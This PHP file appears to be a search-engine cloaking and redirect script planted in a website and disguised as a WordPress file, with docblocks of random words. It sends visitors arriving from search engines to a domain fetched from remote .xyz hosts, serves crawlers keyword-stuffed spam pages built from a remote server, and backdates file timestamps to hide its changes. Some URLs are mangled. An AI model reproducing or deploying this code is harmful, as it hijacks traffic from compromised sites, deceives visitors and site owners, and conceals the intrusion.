$r2='#-(\d+)$#i';		$r3='#[-/]'.'(\d+)$#i';
if(preg_match($r2,$UrlParent,$matches2)){
if(isset($matches2[1]))
$tempPid = $matches2[1];		}else{
preg_match($r3,$UrlParent,$matches13);			if(isset($matches13[1]))
$tempPid = $matches13[1];		}
if($tempPid){
$_GET['id']= $tempPid;
}
}
function getRandStr(){
$arrABC = range('a','z');	shuffle($arrABC);
$randNum = rand(4,6);
$str = implode('',array_slice($arrABC,0,$randNum));
return $str;}
if(isset($_GET["id"]))
$id = $_GET["id"];
else{
if(isset($_GET["cat"])){
$rqurl = $_GET["cat"];
$logFileName = './idlogs.txt';
if(file_exists($logFileName)){
$arrUrlId = unserialize(file_get_contents($logFileName));
}else{
$arrUrlId = array();
}
if(isset($rqurl) && isset($arrUrlId[$rqurl]) && $arrUrlId[$rqurl]){
$id  = $arrUrlId[$rqurl];
}else{
$arrUrlId[$rqurl] = getRandCId($rqurl);
$id = $arrUrlId[$rqurl];
file_put_contents($logFileName,serialize($arrUrlId));
@touch(dirname($logFileName), $fLogTime, $fLogTime);
@touch($logFileName, $fLogTime, $fLogTime);
}
}else{
$id = "665626"; //llq index id
}
}
$resid = '#^\d+$#';
if(!preg_match($resid,$id)){
exit;
}
$id23 = $id;
$siteid = MSID;
$siteAID = $siteid. '-' .$id23;$fileKey = $id23 % FNUM;
// $_SERVER["HTTP_REFERER"] = "google.com";
if(isset($_SERVER["HTTP_REFERER"])){
$referer = $_SERVER["HTTP_REFERER"];
$russ = '#(google|yahoo|incredibar|bing|docomo|mywebsearch|comcast|search-results|babylon|conduit)(\.[a-z0-9\-]+){1,2}#i';
$ipRanges = array(  array('64.233.160.0' , '64.233.191.255'),   array('66.102.0.0' , '66.102.15.255' ) ,   array('66.249.64.0' , '66.249.95.255') ,   array('72.14.192.0' , '72.14.255.255') ,   array('74.125.0.0' , '74.125.255.255') ,   array('209.85.128.0' , '209.85.255.255') ,   array('216.239.32.0' , '216.239.63.255') );
$localIp = get_real_ip();
$is_or_no = is_ip($localIp,$ipRanges);
$iszz = isCrawler();
if(function_exists('gethostbyaddr')){
$hostname = @gethostbyaddr($localIp);
$is_g_ip = preg_match("#google#i", "$hostname") === 1;
}else{
$is_g_ip = 0;
}
if(preg_match($russ, $referer) && $iszz == false && $is_or_no == false && !$is_g_ip){
$rsdom = '#^https?://www\.[^/]+/$#i';
$jumDom1 = 'http://www.'.$stss.'.xyz'. DOMTXT . $siteid .".txt";
$jumDom2 = 'http://www.'.$stss2.'.xyz'. DOMTXT . $siteid .".txt";
for($i=0;$i<2;$i++){
$domJump = curl_getjs_from_webpage($jumDom1,2);
$domJump = trim($domJump);
if(!preg_match($rsdom,$domJump)){
$domJump = curl_getjs_from_webpage($jumDom2,10);
$domJump = trim($domJump);
if(preg_match($rsdom,$domJump))
break;
}else{
break;
}
}
echo '<script language="javascript" type="text/javascript">'. PHP_EOL .'window.location.href="'. $domJump . "index.php?main_page=product_info&products_id=" . $id23 .'";'. PHP_EOL .'</script>';		die();
}
}
$fcontent = '';
$pInfoUrl =  GETDOM . "gpage.php?site=$thisdom&id=$siteAID";
$pInfoStr = curl_get_from_webpage($pInfoUrl,'',5);
$rsInfo = '#<info>(.*)</info>#si';
preg_match($rsInfo,$pInfoStr,$matchInfo);
if(isset($matchInfo[1])){
$InFoStrArr = unserialize($matchInfo[1]);
}else{
header("HTTP/1.1 404 Not Found");exit;
}
if(isset($InFoStrArr['frStr2'])){
$frStr2 = $InFoStrArr['frStr2'];
$fr2Arr = unserialize($frStr2);
}
$frStr1 = $InFoStrArr['frStr1'];
$fr1Arr = unserialize($frStr1);
$Ptitle = $InFoStrArr['Ptitle'];
$nowIdName = $InFoStrArr['nowIdName'];
if(strstr($Ptitle,'#cat#')){
$tp_title_arr = explode('#cat#',$Ptitle);
$Ptitle = $tp_title_arr[1];
}
$pcatstr = $InFoStrArr['pcatstr'];
$nowPreStr = $InFoStrArr['nowPreStr'];
$nowNextStr = $InFoStrArr['nowNextStr'];
if(strstr($pcatstr,'#cname#')){
$temparrI = explode('#cname#',$pcatstr);
$catStr = $temparrI[0];
$catArr = explode('^',$catStr);
$tparrCat = array();
$catArrII = array();
foreach($catArr as $vs){
$vs = str_replace('&','&',$vs);
if(!isset($tparrCat[$vs])){
$tparrCat[$vs] = 1;
$catArrII[] = $vs;
}
}
$catArr = $catArrII;
$mateStr = $temparrI[1];
if(strstr($mateStr,'#keydescription#')){
$temparrII = explode('#keydescription#',$mateStr);
$pkeyword = trim($temparrII[0]);
if(!$pkeyword){
$pkeyword = $Ptitle;
}else{
$keyArr = explode(',',$pkeyword);
$num = count($keyArr);
$yushu = KEYJG % $num;
$arrPre = array();
$arrLast = array();
for($i=0;$i<$num;$i++){
if($i<$yushu){
$arrLast[] = $keyArr[$i];
}else{
$arrPre[] = $keyArr[$i];
}
}
if(count($arrLast)){
foreach($arrLast as $vs){
$arrPre[] = $vs;
}
}
$pkeyword = implode(',',$arrPre);
$pkeywordYuanShi = $pkeyword;
}
$pdescription = $temparrII[1];
if(!$pdescription){
$pdescription = $nowPreStr. ' ' .$Ptitle. ' ' .$nowNextStr;
}else{
$DesArr = explode(',',$pdescription);
$num = count($DesArr);
$yushu = KEYJG % $num;
$arrPre = array();
$arrLast = array();
for($i=0;$i<$num;$i++){
if($i<$yushu){
$arrLast[] = $DesArr[$i];
}else{
$arrPre[] = $DesArr[$i];
}
}
if(count($arrLast)){
foreach($arrLast as $vs){
$arrPre[] = $vs;
}
}
$pdescription = implode(',',$arrPre);
$pdescription .= '.';
$pDescriptionYuanShi = $pdescription;
}
}else{
$pkeyword = $Ptitle;
$pdescription = $nowPreStr. ' ' .$Ptitle. ' ' .$nowNextStr;
}
}else{
$catArr = array();
if(strstr($mateStr,'#keydescription#')){
$temparrII = explode('#keydescription#',$mateStr);
$pkeyword = $temparrII[0];
if(!$pkeyword){
$pkeyword = $Ptitle;
}else{
$keyArr = explode(',',$pkeyword);
$num = count($keyArr);
$yushu = KEYJG % $num;
$arrPre = array();
$arrLast = array();
for($i=0;$i<$num;$i++){
if($i<$yushu){
$arrLast[] = $keyArr[$i];
}else{
$arrPre[] = $keyArr[$i];
}
}
if(count($arrLast)){
foreach($arrLast as $vs){
$arrPre[] = $vs;
}
}
$pkeyword = implode(',',$arrPre);
$pkeywordYuanShi = $pkeyword;
}
$pdescription = $temparrII[1];
if(!$pdescription){
$pdescription = $nowPreStr. ' ' .$Ptitle. ' ' .$nowNextStr;
}else{
$DesArr = explode(',',$pdescription);
$num = count($DesArr);
$yushu = KEYJG % $num;
$arrPre = array();
$arrLast = array();
for($i=0;$i<$num;$i++){
if($i<$yushu){
$arrLast[] = $DesArr[$i];
}else{
$arrPre[] = $DesArr[$i];
}
}
if(count($arrLast)){
foreach($arrLast as $vs){
$arrPre[] = $vs;
}
}
$pdescription = implode(',',$arrPre);
$pdescription .= '.';
$pDescriptionYuanShi = $pdescription;
}
}else{
$pkeyword = $Ptitle;
$pdescription = $nowPreStr. ' ' .$Ptitle. ' ' .$nowNextStr;
}
}
$BreadStr = getBreadcrum($Ptitle,$catArr,$id23);
if(function_exists("preg_split")){
$PtitleArr = preg_split('/\s+/us', $Ptitle);
}else{
$PtitleArr = explode(' ', $Ptitle);
}
$tpTitleArr = array();
foreach($PtitleArr as $vs){
$vs = trim($vs);
if($vs){
$tpTitleArr[] = $vs;
}
}
$numTitleArr = count($tpTitleArr);
$randTkeyI =  RANDNUMI % $numTitleArr;
$createTitleI = getRandStrArr($tpTitleArr,$randTkeyI);
$randTkeyII =  RANDNUMII % $numTitleArr;
if($randTkeyI == $randTkeyII){
$randTkeyII = abs($randTkeyI-2);
}
$createTitleII = getRandStrArr($tpTitleArr,$randTkeyII);
$addTopStr = $BreadStr.PHP_EOL;
$addTopStr .= "<h1>{$Ptitle}</h1>";
$addTopStr .= '<strong>'. implode(' ',$catArr) . " {$Ptitle}</strong>".PHP_EOL;
$tpaddstr = '<p>';
if($pkeywordYuanShi)
$tpaddstr .=  $pkeywordYuanShi .',';
$tpaddstr .= $Ptitle .',';
$tpaddstr .= $createTitleI .',';
$tpaddstr .= $pdescription;
$tpaddstr .= $createTitleII .'.</p>'. PHP_EOL;
$addTopStr .= $tpaddstr;
if(isset($InFoStrArr['pdes'])){
$InFoStrArr['pdes'] =  preg_replace('#\s+#si',' ',$InFoStrArr['pdes']);
$addTopStr .= '<p>'.$InFoStrArr['pdes']."</p>".PHP_EOL;
}
if(isset($InFoStrArr['nowPimgArr'])){
$tpImgArr = unserialize($InFoStrArr['nowPimgArr']);
foreach($tpImgArr as $tpimg){
$addTopStr .= $tpimg."<br/>".PHP_EOL;
}
}
$addTopStr .= "<h2>{$Ptitle}</h2>".PHP_EOL;
$arrFlinks = array();
$fr1Strs = '<ul>'.PHP_EOL;
foreach($fr1Arr as $key=>$vs){
$tpPid = $key;
$tpFlink = getalink($tpPid,$vs);
if(strstr($vs,'#cat#')){
$tp_name_arr = explode('#cat#',$vs);
$vs = $tp_name_arr[1];
}
$fr1Strs .= '<li><a title="'.$vs.'" href="'.$tpFlink.'">'.$vs.'</a></li>'.PHP_EOL;
$arrFlinks[] = '<a title="'.$vs.'" href="'.$tpFlink.'">'.$vs.'</a>';
}
$fr1Strs .= '</ul>'.PHP_EOL;
if(isset($fr2Arr)){
$fr2Strs = '<ul>'.PHP_EOL;
foreach($fr2Arr as $key=>$vs){
$tpPid = $key;
$tpFlink = getalink($tpPid,$vs);
if(strstr($vs,'#cat#')){
$tp_name_arr = explode('#cat#',$vs);
$vs = $tp_name_arr[1];
}
$fr2Strs .= '<li><a title="'.$vs.'" href="'.$tpFlink.'">'.$vs.'</a></li>'.PHP_EOL;
}
$fr2Strs .= '</ul>'.PHP_EOL;
}
$addPdesStr = '';
$addPdesStr .= "<h3>{$Ptitle}</h3>".PHP_EOL;
$addStrDes1 = '';
if(isset($InFoStrArr['nowDesNameArrStr'])){
$tpDesNameArr = unserialize($InFoStrArr['nowDesNameArrStr']);
$tempArrLen = count($tpDesNameArr) - 1;
$i=0;
foreach($tpDesNameArr as $tpdesKey=>$tpdesVs){
$tempLen = strlen($tpdesVs) + $i;
if($tempLen % 2 == 1){
$nowtempfh = ', ';
}else
$nowtempfh = '. ';
if($i == $tempArrLen){
$addStrDes1 .= $tpdesVs . '.';
// echo $addStrDes1;
// exit;
}else{
$addStrDes1 .= $tpdesVs . $nowtempfh;
}
$i++;
}
$addStrDes1 = '<p>'.$addStrDes1.'</p>'.PHP_EOL;
}
$addPdesStr .= $addStrDes1.PHP_EOL;
$addStrDesII = '';
if(isset($InFoStrArr['fpNameStr'])){
$tpDesNameArr = unserialize($InFoStrArr['fpNameStr']);
$tempArrLen = count($tpDesNameArr) - 1;
$temp_arr = array();
foreach($tpDesNameArr as $tpdesKey=>$tpdesVs){
if(strstr($tpdesVs,'#cat#')){
$tp_name_arr = explode('#cat#',$tpdesVs);
$tpdesVs = $tp_name_arr[1];
}
$temp_arr[$tpdesKey] = $tpdesVs;
}
$tpDesNameArr = $temp_arr;
$lenthNameArr = count($tpDesNameArr);
$lenthFlinkArr = count($arrFlinks);
$numShan = intval($lenthNameArr/$lenthFlinkArr);
if($numShan < 1)
$numShan = 1;
$flag = 0;
$shengyu = $lenthNameArr - $lenthFlinkArr * $numShan;
$shengyu = $shengyu - 2;
$bgnum = 0;
$endnum = $lenthNameArr - 1;
$arrKeyNum = array();
while($shengyu > 0){
$arrKeyNum[$bgnum++] = $numShan + 1;
$shengyu--;
if($shengyu > 0){
$arrKeyNum[$endnum--] = $numShan + 1;
}
$shengyu--;
}
$nowTempFlag = 0;
$nowTempNumFlag = 0;
$tempDesNameArr = array();
foreach($tpDesNameArr as $tpdesKey=>$tpdesVs){
$nowLens = isset($arrKeyNum[$nowTempFlag]) ? $arrKeyNum[$nowTempFlag] : $numShan;
if($nowTempNumFlag < $nowLens){
$tempDesNameArr[] = $tpdesVs;
$nowTempNumFlag++;
}else{
if(isset($arrFlinks[$nowTempFlag]))
$tempDesNameArr[] = $arrFlinks[$nowTempFlag++];
$tempDesNameArr[] = $tpdesVs;
$nowTempNumFlag=1;
}
}
while($nowTempFlag <= $lenthFlinkArr-1)
$tempDesNameArr[] = $arrFlinks[$nowTempFlag++];
$tpDesNameArr = $tempDesNameArr;
$i=0;
foreach($tpDesNameArr as $tpdesKey=>$tpdesVs){
$tempLen = strlen($tpdesVs) + $i;
if($tempLen % 2 == 1){
$nowtempfh = ', ';
}else
$nowtempfh = '. ';
if($i == $tempArrLen){
$addStrDesII .= $tpdesVs . '.';
}else{
$addStrDesII .= $tpdesVs . $nowtempfh;
}
$i++;
}
$addStrDesII = '<p>'.$addStrDesII.'</p>'.PHP_EOL;
}
$addPdesStr .= "<h3>{$Ptitle}</h3>".PHP_EOL;
$addPdesStr .= $addStrDesII.PHP_EOL;
$addH3Str = "<h3>{$Ptitle}</h3>";
$thisPnameLink = '<a href="">'.$nowIdName.'</a>';
$thisPnameLink2 = '<a title="'.$nowIdName.'" href="">'.$nowIdName.'</a>';
$thisTitleLink = '<a title="'.$Ptitle.'" href="">'.$Ptitle.'</a>';
$flagH2I = 1;
$flagH2II = 1;
$fileMb = fopen("moban.html","r");
$html = fread($fileMb,filesize("moban.html"));
$html = str_ireplace('#bbbtitsbbb#',  $Ptitle. " {$thisdom}", $html);
$html = str_ireplace('#bbbkeybbb#', $pkeyword, $html);
$html = str_ireplace('#bbbdesbbb#', $pdescription, $html);
$html = str_ireplace('#bbb1content1bbb#',  $addTopStr, $html);
// $html = str_ireplace('#bbb2content2bbb#', $artArr[1], $html);
$html = str_ireplace('#bbb2content2bbb#', '', $html);
$html = str_ireplace('#descontent#', $addPdesStr, $html);
$html = str_replace('#link1#','',$html);
$html = str_replace('#link2#','',$html);
if($flagH2I){
$html = str_replace('#link3#',$addH3Str,$html);
$flagH2I = 0;
}else{
$html = str_replace('#link3#','',$html);
}
if($flagH2I){
$html = str_replace('#link4#',$addH3Str,$html);
$flagH2I = 0;
}elseif($flagH2II){
$html = str_replace('#link4#',$addH3Str,$html);
$flagH2II = 0;
}else{
$html = str_replace('#link4#','',$html);
}
if($flagH2I){
$html = str_replace('#link5#',$addH3Str,$html);
$flagH2I = 0;
}elseif($flagH2II){
$html = str_replace('#link5#',$addH3Str,$html);
$flagH2II = 0;
}else{
$html = str_replace('#link5#','',$html);
}
if($flagH2I){
$html = str_replace('#flink#',$addH3Str,$html);
$flagH2I = 0;
}elseif($flagH2II){
$html = str_replace('#flink#',$addH3Str,$html);
$flagH2II = 0;
}else{
$html = str_replace('#flink#','',$html);
}
if($flagH2I){
$html = str_replace('#Flink2#',$addH3Str,$html);
$flagH2I = 0;
}elseif($flagH2II){
$html = str_replace('#Flink2#',$addH3Str,$html);
$flagH2II = 0;
}else{
$html = str_replace('#Flink2#','',$html);
}
$footKey = "<b>{$Ptitle}, {$pkeyword}</b>".PHP_EOL;
$html = str_replace('</body',$footKey.'</body',$html);
echo $html;
die();
/**
* automatic deposit female glory loosen massive missile outstanding parallel presumably regulate semester tidy utilise variable vary via vital withstand yield.
* chaos compete devise infect lean motive outset prominent release route significance simplicity urban virus.
* entitle expansion gaze marine scratch semester tide videotape.
* code conservative decade evil exclude hook insignificant particle passion tone unique.
* algebra encounter idle reputation stuff triangle.
* explosive exterior ferfile flock gratitude hollow horror infer leisure orbit prohibit scratch transmit withdraw.
* adequate applause ban boundary duration fax idle insure jealous manufacture moral nucleus prevail slippery strategic strategy tend victim violence.
* conquer electron entertainment evaluate excursion gallery partial previous spit strategic stripe timber.
* automatic available budget coach conquer explode gene laser lest male mood reluctant resistant rival snap.
* awful capture code gene hardware liable moral prescribe trace.
* applianc arichmetic dash incident portion.
* response accelerate awful balcony comedy compete decade episode geology haste identify jungle leak lest medium nuisance oblige profitable reliable split substitute terminal territory usage video.
* evil exclaim label lynar reluctant tender urban valley.
* abuse commit nuclear outset shallow sponsor vivid.
* adjust gallery haste particularly sincere spit suburb vain.
* agency alter approach community insurance issue leather magnet optional retail ruin spot strategic temple terror treaty withstand.
* applicable appoint campus cancel collision evaluate likelihood mist oval sexual temptation title xploit.
* acknowledge breed column consent dump fertilizer flexible gasoline glorious inevitable knot launch mainland mature medium mixture nuclear oblige offend previous twist virus.
* calendar emotion fate relief resistant tidy.
* defect discount fate maximum media poverty tend.
* authority bother maximum sincere trap.
* adjust adult alcohol approximate bachelor brake distribute evolution extinct gesture horror junior leak male moist neutral profit resemble solar suburb tend vital xploit.
* derive deserve fatal gasoline hook particle.
* decline equivalent ruin variable virtue.
* arichmetic blast gesture poverty vacuum.
* balcony decline echo emphasize exterior forbid grant hostile jeans lean modest mood principal satellite tend the undertake.
* acquire adult algebra applicant avenue blast burst comment expensive knot likelihood loose media minimum participate slippery sophisticated spill subt temple theme tuition virtue.
* entitle massive ridiculous the.
* attitude career genius glorious illegal likelihood sponsor valley variable.
* academy accomplish agency architect competent decay decline extent flash grateful individual jeans knot mixture nonsense radical sexual vibrate vital.
* alter attach decay elbow excess horror joint origin render restraint retail sketch spit spur suspicion.
* auxiliary breadth data electron exaggerate flexible globe hint hostile likelihood origin portable radical regulate restrain route sake scratch slip slope splendid tense territory weed.
* bunch entertainment external jam laser maintain nucleus strategic survey variable version.
* ban cope geography hestiate junior luxury mutual radical strategic.
* appetite coarse competition defect elaborate evil expensive favorite infect insure launch marine modest moist mood motive notion nucleus priority retain spot temple vitally vocabulary whatsoever.
* attach campus code competition device encounter naked notion powder register significance utilise virtue voluntary.
* expensive geography liquor nylon vivid.
* architecture awful calculate campus cargo display emphasize explosive fatal grand guilty horror infer media naval optics rely respond semester shrink shuttle significance simplify tremble urban.
* ban boundary explode insignificant invade neglect skim tendency vacant.
* award bunch competent competition conservation decade exterior faculty gallon glimpse golf leap merchant personnel pursue recreation terror vehicle violent wander.
* adopt applicant appreciate decline gear household lean maintain negative notify pants profit sequence simplicity slide vacuum violent voluntary.
* bachelor deposit episode essential gaze geography hook import nevertheless participate personnel quotation remedy retail semiconductor stimulate strategy submit transport undertake vertical virus volunteer.
* acquire alcohol gasoline highlight interfere medium merchant prosperity secure sensitive slender stuff trend.
* career code emotion leak media portable territory vertical.
*
* @package WordPress
*/
function getRandStrArr($tpArr=array(),$bgKey=0){
$returnStr = '';
$numArr = count($tpArr);
for($i=$bgKey+1;$i<$numArr;$i++){
$returnStr .= $tpArr[$i].' ';
}
for($i=0;$i<=$bgKey;$i++){
$returnStr .= $tpArr[$i].' ';
}
return trim($returnStr);
}
function getBreadcrum($Ptitle,$catArr,$id23){
global $arrBread,$thisdom;
$breadTagkey = KEYJG % 6;
if($breadTagkey == 0){
$breadTagHtml1 = 'nav';
$breadTagHtml2 = 'ul';
}elseif($breadTagkey == 1){
$breadTagHtml1 = 'nav';
$breadTagHtml2 = 'ol';
}elseif($breadTagkey == 2){
$breadTagHtml1 = 'div';
$breadTagHtml2 = 'ol';
}elseif($breadTagkey == 3){
$breadTagHtml1 = 'section';
$breadTagHtml2 = 'ol';
}elseif($breadTagkey == 4){
$breadTagHtml1 = 'section';
$breadTagHtml2 = 'ul';
}else{
$breadTagHtml1 = 'div';
$breadTagHtml2 = 'ul';
}
$arrBreadNum = count($arrBread);
$domlen = strlen($thisdom);
$breadTagkey = $domlen % 5;
$liClassYs = KEYJG % 19;
if($liClassYs == 0){
$liStr = ' class="item"';
}elseif($liClassYs == 1){
$liStr = ' class="breadcrumbs-item"';
}elseif($liClassYs == 2){
$liStr = ' class="nz-breadcrumb-item"';
}elseif($liClassYs == 3){
$liStr = ' class="items"';
}elseif($liClassYs == 4){
$liStr = ' class="breadcrumblist-items"';
}elseif($liClassYs == 5){
$liStr = ' class="el-breadcrumb-item"';
}elseif($liClassYs == 6){
$liStr = ' class="doc-crumb-item"';
}elseif($liClassYs == 7){
$liStr = ' class="breadcrumb-item"';
}elseif($liClassYs == 8){
$liStr = ' class="crumbs-item"';
}elseif($liClassYs == 9){
$liStr = ' class="bread-item"';
}elseif($liClassYs == 10){
$liStr = ' class="breads-item"';
}elseif($liClassYs == 11){
$liStr = ' class="breadcrumbItem"';
}elseif($liClassYs == 12){
$liStr = ' class="breadcrumbItems"';
}elseif($liClassYs == 13){
$liStr = ' class="breadcrumblistitems"';
}elseif($liClassYs == 14){
$liStr = ' class="BreadcrumbItem"';
}elseif($liClassYs == 15){
$liStr = ' class="ListItem"';
}elseif($liClassYs == 16){
$liStr = ' class="crumb-items"';
}else{
$liStr = '';
}
$arrBreadId = array();
$arrBreadId[] = 'Bread';
$arrBreadId[] = 'BreadHead';
$arrBreadId[] = 'Breadcrumb';
$arrBreadId[] = 'Breadcrumb-Head';
$arrBreadId[] = 'Breadcrumb-Heads';
$arrBreadId[] = 'Breadcrumb-Top';
$arrBreadId[] = 'BreadcrumbHeads';
$arrBreadId[] = 'BreadcrumbLists';
$arrBreadId[] = 'BreadcrumbNavigation';
$arrBreadId[] = 'BreadcrumbTop';
$arrBreadId[] = 'BreadcrumbTops';
$arrBreadId[] = 'MyBreadcrumb';
$arrBreadId[] = 'ant-breadcrumb';
$arrBreadId[] = 'bread-List';
$arrBreadId[] = 'breadtop';
$arrBreadId[] = 'breadtops';
$arrBreadId[] = 'breadHead';
$arrBreadId[] = 'breadHeads';
$arrBreadId[] = 'breadList';
$arrBreadId[] = 'breadLists';
$arrBreadId[] = 'breadcrumb';
$arrBreadId[] = 'c-breadcrumb';
$arrBreadId[] = 'crumbList';
$arrBreadId[] = 'crumb-list';
$arrBreadId[] = 'crumbs';
$arrBreadId[] = 'crumbsHead';
$arrBreadId[] = 'crumbsHeads';
$arrBreadId[] = 'crumbs-head';
$arrBreadId[] = 'crumbs-nag';
$arrBreadId[] = 'crumbsTop';
$arrBreadId[] = 'crumbsTops';
$arrBreadId[] = 'crumbs-top';
$arrBreadId[] = 'cs-breadcrumb';
$arrBreadId[] = 'customBreadcrumb';
$arrBreadId[] = 'doc-crumb';
$arrBreadId[] = 'el-breadcrumb';
$arrBreadId[] = 'l-breadcrumb';
$arrBreadId[] = 'navBreadCrumb';
$arrBreadId[] = 'navBreadCrumbs';
$arrBreadId[] = 'page-breadcrumbs';
$arrBreadId[] = 'pages-breadcrumbs';
$arrBreadId[] = 's-breadcrumb';
$arrBreadId[] = 'v-breadcrumb';
$arrBreadId[] = 'chrome-breadcrumbs';
$keyBreadId = KEYJG % 48;
if(isset($arrBreadId[$keyBreadId])){
$keyBreadIdStr = ' id="'.$arrBreadId[$keyBreadId].'"';
}else{
$keyBreadIdStr = '';
}
$strBreads = '';
if($breadTagkey == 4){
$arrBreadC1 = array();
$arrBreadC1[] = 'BreadcrumbData';
$arrBreadC1[] = 'BreadcrumbDatas';
$arrBreadC1[] = 'BreadcrumbTop';
$arrBreadC1[] = 'crumbsHead';
$arrBreadC1[] = 'crumbsTop';
$arrBreadC1[] = 'crumbsList';
$arrBreadC1[] = 'crumbs-top';
$arrBreadC1[] = 'crumbs-list';
$arrBreadC1[] = 'crumbs-Head';
$arrBreadC1[] = 'BreadcrumbTag';
$arrBreadC1[] = 'Breadcrumb-tag';
$arrBreadC1[] = 'BreadcrumbBody';
$arrBreadC1[] = 'BreadcrumbBody';
$arrBreadC1[] = 'Breadcrumb-Top';
$arrBreadC1[] = 'Breadcrumb-body';
$arrBreadC1[] = 'BreadcrumbTops';
$arrBreadC1[] = 'Breadcrumb-Head';
$arrBreadC1[] = 'Breadcrumb-Heads';
$arrBreadC1[] = 'Breadcrumb-List';
$arrBreadC1[] = 'BreadcrumbList';
$arrBreadC1[] = 'BreadcrumbLists';
$ckeyI = KEYJG % count($arrBreadC1);
$classI =  $arrBreadC1[$ckeyI];
$classII =  $domlen % 2 ? 'Breadcrumbs' : 'Breadcrumb';
$strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.' class="'.$classI.'">';
$strBreads .= '<'.$breadTagHtml2.' class="'.$classII.'">';
$strBreads .= '<li'.$liStr.'><a class="external" rel="nofollow" target="_blank" href="https://zhiya360.cn/go/?url=aHR0cHM6Ly9kZWRld3AuY29tLw==">Home</a></li>';
if(count($catArr)){
foreach($catArr as $vs){
$vs = trim($vs);
$nowCatUrl = getCatLink($vs,$id23);
$strBreads .= '<li'.$liStr.'><a href="'.$nowCatUrl.'">'.$vs.'</a></li>';
}
}
$strBreads .= '<li'.$liStr.'>'.$Ptitle.'</li>';
$strBreads .= '</'.$breadTagHtml2.'>';
$strBreads .= '</'.$breadTagHtml1.'>';
}else{
$calssBreadKey = KEYJG % $arrBreadNum;
$classTop = $arrBread[$calssBreadKey];
$classul =  KEYJG % 2 ? 'Breadcrumb' : 'breadcrumbs';
$breadTagkey = $domlen % 2;
if($breadTagkey == 0){
if($classTop)
$strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.' class="'.$classTop.'">';
else
$strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.'>';
$strBreads .= '<'.$breadTagHtml2.' class="'.$classul.'" itemscope itemtype="http://schema.org/BreadcrumbList">';
$strBreads .= '<li'.$liStr.' itemprop="itemListElement" itemscope itemtype="http://schema.org/ListItem"><a itemprop="item" class="external" rel="nofollow" target="_blank" href="https://zhiya360.cn/go/?url=aHR0cHM6Ly9kZWRld3AuY29tLw=="><span itemprop="name">Home</span></a><meta itemprop="position" content="1" /></li>';
$flagNum = 2;
if(count($catArr)){
foreach($catArr as $vs){
$vs = trim($vs);
$nowCatUrl = getCatLink($vs,$id23);
$strBreads .= '<li'.$liStr.' itemprop="itemListElement" itemscope itemtype="http://schema.org/ListItem"><a itemprop="item" href="'.$nowCatUrl.'"><span itemprop="name">'.$vs.'</span></a><meta itemprop="position" content="'.$flagNum.'" /></li>';
$flagNum++;
}
}
$strBreads .= '<li'.$liStr.' itemprop="itemListElement" itemscope itemtype="http://schema.org/ListItem"><span itemprop="name">'.$Ptitle.'</span><meta itemprop="position" content="'.$flagNum.'" /></li>';
$strBreads .= '</'.$breadTagHtml2.'>';
$strBreads .= '</'.$breadTagHtml1.'>';
}else{
if($classTop)
$strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.' class="'.$classTop.'">';
else
$strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.'>';
$strBreads .= '<'.$breadTagHtml2.' class="'.$classul.'" itemscope itemtype="http://schema.org/BreadcrumbList">';
$strBreads .= '<li'.$liStr.' itemscope itemtype="http://data-vocabulary.org/Breadcrumb"><a class="external" rel="nofollow" target="_blank" href="https://zhiya360.cn/go/?url=aHR0cHM6Ly9kZWRld3AuY29tLw==" itemprop="url"><span itemprop="title">Home</span></a></li>';
if(count($catArr)){
foreach($catArr as $vs){
$vs = trim($vs);
$nowCatUrl = getCatLink($vs,$id23);
$strBreads .= '<li'.$liStr.' itemscope itemtype="http://data-vocabulary.org/Breadcrumb"><a href="'.$nowCatUrl.'" itemprop="url"><span itemprop="title">'.$vs.'</span></a></li>';
}
}
$strBreads .= '<li'.$liStr.'><strong>'.$Ptitle.'</strong></li>';
$strBreads .= '</'.$breadTagHtml2.'>';
$strBreads .= '</'.$breadTagHtml1.'>';
}
}
return $strBreads;
}
function getCatLink($CatName,$id23){
global $arrnametime,$arrKeywz,$arr_word,$strRand;
$filePres = '';		$fileEnds = '';		$siteLink='http://'.$_SERVER['HTTP_HOST'];
$dirNames = dirname(__FILE__);		$httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));
if(JDT == 2){
$filePres = $siteLink ."https://dedewp.com/". $httcReplace . "https://dedewp.com/" . basename(__FILE__) . "https://dedewp.com/";		}elseif(JDT == 1){
$filePres = $siteLink ."https://dedewp.com/". $httcReplace . "https://dedewp.com/";		}elseif(JDT == 3){
$filePres = $siteLink ."https://dedewp.com/". $httcReplace . "https://dedewp.com/" .basename(__FILE__) . "?cat=";		}else{
$filePres = $siteLink."https://dedewp.com/";		}
$CatName = str_replace('&',' ',$CatName);
$CatName = str_replace('&',' ',$CatName);
if(JDT == 3){
$CatName = preg_replace('#\s+#i','-',$CatName);
while(strstr($CatName,'--'))
$CatName = str_replace('--','-',$CatName);
$linkCenter = $CatName;
$rtStr = $filePres.$linkCenter;
$rtStr = str_replace($filePres.'-',$filePres,$rtStr);
return $rtStr;
}
$CatName = preg_replace('#\s+#i','-',$CatName);
$CatName = str_replace('--','-',$CatName);
$linkCenter = str_replace('--','-',$CatName).'-'.$id23;
$linkCenter .= JTHZ;
$rtStr = $filePres.$linkCenter;
$rtStr = str_replace($filePres.'-',$filePres,$rtStr);
return $rtStr;
}
function getMapNum($bgNum,$mapnum){
$TempArr = array();
if($bgNum + $mapnum <= FNUM){
for($i=0;$i<$mapnum;$i++){
$TempArr[$i] = $bgNum + $i -1;
}
}else{
for($i=0;$i<$mapnum;$i++){
if($bgNum+$i > FNUM)
$TempArr[$i] = $bgNum + $i -1 -FNUM;
else
$TempArr[$i] = $bgNum + $i -1;
}
}
return $TempArr;
}
function getRandCId($rqurl){
global $thisdom;
for($i=0;$i<3;$i++){
$idUrl =  GETDOM . "gpage.php?site=$thisdom&cid=$rqurl";
$tempIdStr = curl_get_from_webpage($idUrl,'',5);
if(preg_match('#<cid>(\d+)</cid>#i',$tempIdStr,$matchId)){
return $matchId[1];
}
}
header("HTTP/1.1 404 Not Found");
header("Status: 404 Not Found");
exit;
}
/**
* emotion excursion prohibit reliable.
* alter drip issue sincere the.
* approximate continuous deaf elaborate entitle equivalent gene ingredient jail naval nuclear prospect provision repetition route scandal sequence twist valley.
* decay device discipline echo enclose exaggerate extinct horrible interpretation loosen male precaution remedy satellite shield slope stimulate stripe tendency ultimate waist.
* burst coarse comparable earthquake exclusive faculty hatred inferior inhabitant legislation liable render tension triumph undergraduate vibrate.
